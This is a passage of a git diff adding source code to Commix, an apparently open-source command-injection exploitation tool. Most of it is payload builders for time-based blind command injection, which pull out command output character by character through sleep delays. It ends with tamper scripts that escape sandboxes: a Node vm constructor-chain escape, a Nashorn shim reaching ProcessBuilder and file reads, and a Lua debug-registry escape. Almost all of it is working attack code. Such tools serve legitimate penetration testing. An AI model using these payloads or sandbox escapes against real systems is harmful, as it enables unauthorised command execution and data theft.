-c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + payload = checks.sanitize_payload_newlines(payload) + + return payload + +""" +Build a raw shell numeric comparison for false-positive checks; Unix-only. +""" +def condition_check(separator, condition, timesec, http_request_method): + if settings.TARGET_OS == settings.OS.WINDOWS: + return None + if settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&"): + """ + An 'if'/'then'/'fi' block branches on a real exit status using nothing but 'test' and a + statement terminator - where '[ condition ]' followed by reading '$?' needs a ']' and a '$', + both of which a filter that blocks command substitution outright is just as likely to block + too. ';', '\n' and '\r\n' all terminate a statement on their own, so the separator under test + is what glues 'if' to 'then' to 'fi' for those three - nothing else belongs in a payload built + to prove that one of them, specifically, is what chains commands here. '&' backgrounds rather + than terminates, and cannot glue the block together itself; a newline is the one thing every + one of 'then' and 'fi' needs regardless, so it is the fallback for that case alone. + """ + glue = separator if separator in (";", "\n", "\r\n") else settings.END_LINE.LF + payload = (separator + "if test " + condition + glue + + "then sleep " + str(timesec) + glue + "fi") + elif separator in (";", "\n", "\r\n"): + payload = (separator + + "[ " + condition + " ]" + separator + + settings.RANDOM_VAR_GENERATOR + "=$?" + separator + + "sleep $((" + str(timesec) + "*(" + settings.RANDOM_VAR_GENERATOR + "==0)))" + ) + elif separator in ("&", "&&") and checks.substitution_nests() \ + and _arithmetic_condition(condition) is not None: + payload = separator + "sleep $((" + str(timesec) + "*(" + _arithmetic_condition(condition) + ")))" + elif separator == "&": + payload = (separator + + "[ " + condition + " ]" + "&&" + + "sleep " + str(timesec) + ) + # Not the empty separator: with nothing to chain on, what this builds hands the test to 'sleep' + # as arguments, which errors and never delays - an answer the caller cannot tell from "false". + elif separator in ("&", "&&"): + payload = ("&" + + "sleep 0" + separator + + "[ " + condition + " ]" + separator + + "sleep " + str(timesec) + ) + elif separator in ("|", "||"): + pipe = separator + payload = (pipe + + "[ ! " + condition + " ]" + "||" + + "sleep " + str(timesec) + ) + else: + return None + + payload = checks.terminate_payload(payload, separator) + + return checks.sanitize_payload_newlines(payload) + +""" +Windows counterpart of condition_check() above - 'set /a' has no boolean test operator, so an +equality check is read off a subtraction landing on the expected value. +""" +def windows_condition_check(separator, expr, expected, timesec): + chain = checks.windows_separator(separator) + if chain is None: + return None + return checks.windows_probe(chain, "set /a " + expr, "==", expected, timesec) + +""" +Execute shell commands on vulnerable host. +""" +def cmd_execution(separator, cmd, output_length, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "==", output_length, timesec) + + else: + settings.USER_APPLIED_CMD = cmd + word = _output_word(cmd) + if separator in (";", "\n", "\r\n"): + payload = (separator + + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + settings.BYTE_LOCALE_EXPORTED + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" + ) + + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + _timed_comparison(timesec, output_length, _length_arg_expr(word)) + elif separator == "&": + # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. + payload = (separator + + settings.BYTE_LOCALE_EXPORTED + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + word + "&&" + + "[ " + str(output_length) + " -eq ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + + "sleep " + str(timesec) + ) + + elif separator == "&&" : + ampersand = "&" + payload = (ampersand + + # The command the "&&" needs on its left, pinning while it is there. + settings.BYTE_LOCALE_EXPORTED + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + + # Find the length of the output. + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + + "sleep " + str(timesec) + ) + + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + "[ " + str(output_length) + " -ne " + _length_expr(word) + " ]" + "||" + + "sleep " + str(timesec) + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def cmd_execution_alter_interpreter(separator, cmd, output_length, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "==", output_length, timesec) + + else: + settings.USER_APPLIED_CMD = cmd + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): + payload = (separator + + # Find the length of the output, using readline(). + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(output_length) + "==${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + _py_timed_comparison(timesec, output_length, _py_length_expr(cmd)) + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + # Find the length of the output, using readline(). + "[ " + str(output_length) + " -ne " + _py_length_expr(cmd) + " ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return checks.sanitize_payload_newlines(payload) + +""" +Ordering (not equality) length check, so the output length can be binary searched. +""" +def get_length(separator, cmd, candidate_length, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "GEQ", candidate_length, timesec) + + else: + settings.USER_APPLIED_CMD = cmd + word = _output_word(cmd) + if separator in (";", "\n", "\r\n"): + payload = (separator + + # Counted in bytes, as the reading beside it indexes - exported, since a rewrite can move the counting into a command of its own. + settings.BYTE_LOCALE_EXPORTED + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "sleep $((" + str(timesec) + "*(" + str(candidate_length) + "<=$" + settings.RANDOM_VAR_GENERATOR + "1)))" + ) + + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + _timed_comparison(timesec, candidate_length, _length_arg_expr(word), "<=") + elif separator == "&": + # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. + payload = (separator + + settings.BYTE_LOCALE_EXPORTED + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + word + "&&" + + "[ " + str(candidate_length) + " -le ${#" + settings.RANDOM_VAR_GENERATOR + "} ]" + "&&" + + "sleep " + str(timesec) + ) + + elif separator == "&&" : + ampersand = "&" + payload = (ampersand + + # The command the "&&" needs on its left, pinning while it is there. + settings.BYTE_LOCALE_EXPORTED + separator + + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + + settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + + "[ " + str(candidate_length) + " -le $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + + "sleep " + str(timesec) + ) + + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + "[ " + str(candidate_length) + " -gt " + _length_expr(word) + " ]" + "||" + + "sleep " + str(timesec) + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_length_alter_interpreter(separator, cmd, candidate_length, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "GEQ", candidate_length, timesec) + + else: + settings.USER_APPLIED_CMD = cmd + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "1=" + _py_length_expr(cmd) + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(candidate_length) + "<=${" + settings.RANDOM_VAR_GENERATOR + "1}))))\"" + settings.CMD_SUB_SUFFIX + ) + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + _py_timed_comparison(timesec, candidate_length, _py_length_expr(cmd), "<=") + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + "[ " + str(candidate_length) + " -gt " + _py_length_expr(cmd) + " ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return checks.sanitize_payload_newlines(payload) + +""" +Get the execution output, of shell execution. +""" +def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + payload = "" + win_operator = "GEQ" if operator == "-le" else "EQU" + inverted_operator = "-gt" if operator == "-le" else "-ne" + arith_operator = "<=" if operator == "-le" else "==" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + # The ordinal has to be computed on the target: cmd.exe's IF compares strings by locale + # collation ('M' GEQ 'a' holds), so only a numeric compare can be binary searched. + payload = checks.windows_probe(chain, + "powershell.exe -InputFormat none write ([int](" + + checks.windows_output_bytes(checks.windows_output_text(cmd)) + + "[" + str(num_of_chars - 1) + "]))", + win_operator, ascii_char, timesec) + + else: + settings.USER_APPLIED_CMD = cmd + word = _output_word(cmd) + qmarks = "?" * (num_of_chars - 1) + var_ordinal_expr = checks.byte_ordinal("${" + settings.RANDOM_VAR_GENERATOR + "}") + # Where the delay is scaled by the comparison, the reading goes in as a term of the arithmetic + # already open rather than as one of its own - see checks.byte_ordinal_term(). + var_ordinal_term = checks.byte_ordinal_term("${" + settings.RANDOM_VAR_GENERATOR + "}") + ordinal_expr = _ordinal_expr(word, num_of_chars) + + if separator in (";", "\n", "\r\n") : + payload = (separator + + # Sliced in bytes, as the length beside it counts - exported, since a rewrite can move the counting into a command of its own. + settings.BYTE_LOCALE_EXPORTED + separator + + # Grab the execution output. + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + + "sleep $((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + var_ordinal_term + ")))" + ) + + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + _timed_comparison(timesec, ascii_char, + _ordinal_arg_expr(word, num_of_chars), arith_operator) + elif separator == "&": + # The "&&" this payload already carries holds the variable and the pin, where a pipe into "wc" would bring in an operator the separator under test is not. + payload = (separator + + settings.BYTE_LOCALE_EXPORTED + "&&" + + settings.RANDOM_VAR_GENERATOR + "=" + word + "&&" + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + "&&" + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + "&&" + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + var_ordinal_expr + " ]" + "&&" + + "sleep " + str(timesec) + ) + + elif separator == "&&" : + ampersand = "&" + payload = (ampersand + + # The command the "&&" needs on its left, pinning while it is there. + settings.BYTE_LOCALE_EXPORTED + separator + + # Grab the execution output. + settings.RANDOM_VAR_GENERATOR + "=" + word + separator + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "#" + qmarks + "}\"" + separator + + settings.RANDOM_VAR_GENERATOR + "=\"${" + settings.RANDOM_VAR_GENERATOR + "%\"${" + settings.RANDOM_VAR_GENERATOR + "#?}\"}\"" + separator + + # Perform the time-based comparisons + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + operator + settings.SINGLE_WHITESPACE + var_ordinal_expr + " ] " + separator + + "sleep " + str(timesec) + ) + + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + ordinal_expr + " ]" + "||" + + "sleep " + str(timesec) + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def get_char_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method, operator="-le"): + payload = "" + win_operator = "GEQ" if operator == "-le" else "EQU" + inverted_operator = "-gt" if operator == "-le" else "-ne" + arith_operator = "<=" if operator == "-le" else "==" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" + payload = checks.windows_probe(chain, python_payload, win_operator, ascii_char, timesec) + + else: + settings.USER_APPLIED_CMD = cmd + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + _py_ordinal_expr(cmd, num_of_chars) + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + arith_operator + "${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + ) + + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + _py_timed_comparison(timesec, ascii_char, + _py_ordinal_expr(cmd, num_of_chars), arith_operator) + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + "[ " + str(ascii_char) + settings.SINGLE_WHITESPACE + inverted_operator + settings.SINGLE_WHITESPACE + _py_ordinal_expr(cmd, num_of_chars) + " ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + + else: + pass + + payload = checks.terminate_payload(payload, separator) + + payload = checks.sanitize_payload_newlines(payload) + + return payload + +""" +__Warning__: The alternative shells are still experimental. +""" +def fp_result_alter_interpreter(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): + payload = "" + if settings.TARGET_OS == settings.OS.WINDOWS: + chain = checks.windows_separator(separator) + if chain is not None: + payload = checks.windows_probe(chain, cmd, "==", ascii_char, timesec) + + else: + if separator in (";", "\n", "\r\n") and checks.substitution_nests(): + payload = (separator + + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX + separator + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep($((" + str(timesec) + "*(" + str(ascii_char) + "==${" + settings.RANDOM_VAR_GENERATOR + "}))))\"" + settings.CMD_SUB_SUFFIX + ) + + elif separator in ("&", "&&") and checks.substitution_nests(): + payload = separator + _py_timed_comparison(timesec, ascii_char, + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\"" + settings.CMD_SUB_SUFFIX) + elif separator in ("|", "||") and checks.substitution_nests(): + pipe = "|" + payload = (pipe + + "[ " + str(ascii_char) + " -ne " + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\r\") ] " + "||" + + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(0)\") " + pipe + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\rtime.sleep(" + str(timesec) + settings.CMD_SUB_SUFFIX + "\"" + settings.CMD_SUB_SUFFIX + ) + else: + pass + + payload = checks.terminate_payload(payload, separator) + + return checks.sanitize_payload_newlines(payload) + +# eof diff --git a/src/core/testing.py b/src/core/testing.py new file mode 100644 index 0000000000..208a10c43d --- /dev/null +++ b/src/core/testing.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import doctest +from src.utils import settings + +""" +Runs the basic smoke testing +""" +def smoke_test(): + info_msg = "Executing smoke test." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + passed = True + doctests = 0 + file_paths = [] + for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): + # The suite is run on its own, by the test runner - this walk is for what commix imports. + if "tests" in root.split(os.sep): + continue + file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) + + for filename in file_paths: + if os.path.splitext(filename)[1].lower() == ".py" and not "__init__.py" in filename: + path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) + path = path.replace(settings.COMMIX_ROOT_PATH, '.') + path = path.replace(os.sep, '.').lstrip('.') + if "." in path: + try: + __import__(path) + module = sys.modules[path] + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Succeeded importing '" + str(path) + "' module." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + except Exception as e: + error_msg = "Failed importing '" + path + "' module due to '" + str(e) + "'." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + passed = False + else: + # The examples a module's own docstrings carry, run as the tests they are written as. + failures, _ = doctest.testmod(module, verbose=False) + if failures != 0: + error_msg = "Failed " + str(failures) + " doctest(s) in '" + path + "' module." + settings.print_data_to_stdout(settings.print_error_msg(error_msg)) + passed = False + else: + doctests += len(doctest.DocTestFinder().find(module)) + + result = "Smoke test " + if passed: + result = result + "passed." + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Ran the examples in " + str(doctests) + " docstring(s)." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_bold_info_msg(result)) + else: + result = result + "failed." + settings.print_data_to_stdout(settings.print_bold_error_msg(result)) + raise SystemExit() + +# eof diff --git a/src/tamper/__init__.py b/src/tamper/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/__init__.py b/src/tamper/eval/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/javascript/__init__.py b/src/tamper/eval/javascript/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/javascript/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/javascript/jsvmescape.py b/src/tamper/eval/javascript/jsvmescape.py new file mode 100644 index 0000000000..a8781522c4 --- /dev/null +++ b/src/tamper/eval/javascript/jsvmescape.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Reaches the payload's own require() through the constructor chain, for a sink evaluating + inside a Node 'vm' sandbox rather than a plain eval(). +Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). + A 'vm' context built from a plain object still inherits 'constructor' from the host + realm's own Object.prototype, and Function's own constructor compiles new code outside the + sandbox entirely - 'this.constructor.constructor("return process")()' hands back the real + process object, with require reachable from there. Node's own documentation says as much: + the module separates which variables a context starts with, not what the language can still + do with them. +Reference: https://ctftime.org/writeup/39027 +""" + +__tamper__ = "jsvmescape" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "javascript") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Compiled by the sandbox's own Function constructor, but outside the sandbox the moment it runs. +_ESCAPE = 'this.constructor.constructor("return process")().mainModule.' + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "javascript": + return payload + # Every require() the grammar writes is the same bare module lookup a plain eval() would resolve + # on its own - inside a vm context there is no such global, so each one is reached through the + # escape instead, in place rather than through some second payload of its own. + return payload.replace('require(', _ESCAPE + 'require(') + +# eof diff --git a/src/tamper/eval/javascript/nashornexec.py b/src/tamper/eval/javascript/nashornexec.py new file mode 100644 index 0000000000..2be21f3069 --- /dev/null +++ b/src/tamper/eval/javascript/nashornexec.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Rewrites the grammar's require() calls into a Java-interop shim, and its arrow function + into an ECMAScript-5 equivalent, for a sink evaluating JavaScript through Java's Nashorn + engine rather than Node. +Notes: This tamper script works against target(s) evaluating JavaScript (i.e. option '--eval=javascript'). + 'require("child_process")' and 'require("fs")' resolve to nothing, since neither module + exists outside Node; Nashorn exposes the whole Java classpath as plain globals by default + though, with no filter configured unless the embedding application added one itself, so a + shim standing in for the module reaches a real shell through java.lang.ProcessBuilder in + execSync's place, and a real file through java.nio.file.Files in readFileSync's place. + Separately, the one place the grammar stops a page throws out of an arrow function, which + is ES6, and which Nashorn does not parse at all. +Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a + blocked native call reached instead through the host language's interop) +""" + +__tamper__ = "nashornexec" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "javascript") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# One object literal standing in for whichever module require() is asked for, dispatching to the +# Java class that does the same job in Nashorn - a single expression in require()'s own place, not +# a statement ahead of it, so it drops into the concatenation the grammar already built around it. +_SHIM = ( + '(function(m){' + 'if(m=="child_process")return{execSync:function(c){' + 'var p=new java.lang.ProcessBuilder(["sh","-c",c]).redirectErrorStream(true).start();' + 'var s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\\\A");' + 'var o=s.hasNext()?s.next():"";' + 'p.waitFor();' + 'return o;' + '}};' + 'if(m=="fs")return{readFileSync:function(p){' + 'return new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get(p)));' + '}};' + '})(' +) + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "javascript": + return payload + # Every require() the grammar writes opens on the same bracket regardless of the module named, + # the way the shim itself only decides which module it is once it is actually called. + payload = payload.replace('require(', _SHIM) + # The one arrow function it writes, as the function expression that says the same thing before + # ES6 - left as it is, the payload does not parse at all here, and a parse error answers every + # boundary with the very same page, which a technique reading one answer against another is + # told nothing by. + payload = payload.replace('(()=>{throw new Error()})()', '(function(){throw new Error()})()') + return payload + +# eof diff --git a/src/tamper/eval/lua/__init__.py b/src/tamper/eval/lua/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/lua/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/lua/luadebugescape.py b/src/tamper/eval/lua/luadebugescape.py new file mode 100644 index 0000000000..f08c9af3ae --- /dev/null +++ b/src/tamper/eval/lua/luadebugescape.py @@ -0,0 +1,52 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +from src.utils import settings +from src.core.controller import checks + +""" +About: Reaches the payload's own os/io calls through the debug library's registry, for a sink + evaluating Lua with a restricted environment that leaves 'os' and 'io' out of it. +Notes: This tamper script works against target(s) evaluating Lua (i.e. option '--eval=lua'). + 'load(code, name, mode, restricted_env)' is a common way to run a rule or a script without + giving it the real globals - but 'debug' reads past that regardless of what the environment + itself holds, and the standard library modules a restricted environment left out are still + sitting in 'package.loaded', loaded there once at the interpreter's own startup rather than + read back out of whichever table the sandboxed code was handed as its '_ENV'. +Reference: https://www.exploit-db.com/exploits/33028 (same shape against JRuby's own sandbox: a + module missing from the restricted environment still reachable through introspection) +""" + +__tamper__ = "luadebugescape" +__priority__ = settings.PRIORITY.NORMAL + +def dependencies(): + return checks.tamper_dep_command_incompatible(__tamper__) or checks.tamper_dep_grammar_only(__tamper__, "lua") + +if not settings.TAMPER_SCRIPTS[__tamper__]: + settings.TAMPER_SCRIPTS[__tamper__] = True + +# Where the real standard library still sits, regardless of what a restricted '_ENV' was built +# with - loaded once at startup, not read back out of whatever table the sandboxed code was given. +_REGISTRY = "debug.getregistry()._LOADED." + +def tamper(payload): + if settings.EVAL_GRAMMAR.NAME != "lua": + return payload + for call in ("io.popen(", "io.open(", "os.execute(", "os.exit("): + payload = payload.replace(call, _REGISTRY + call) + return payload + +# eof diff --git a/src/tamper/eval/php/__init__.py b/src/tamper/eval/php/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/tamper/eval/php/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/tamper/eval/php/phpconcat.py b/src/tamper/eval/php/phpconcat.py new file mode 100644 index 0000000000..013bbbdab1 --- /dev/null +++ b/src/tamper/eval/php/phpconcat.py @@ -0,0 +1,105 @@ 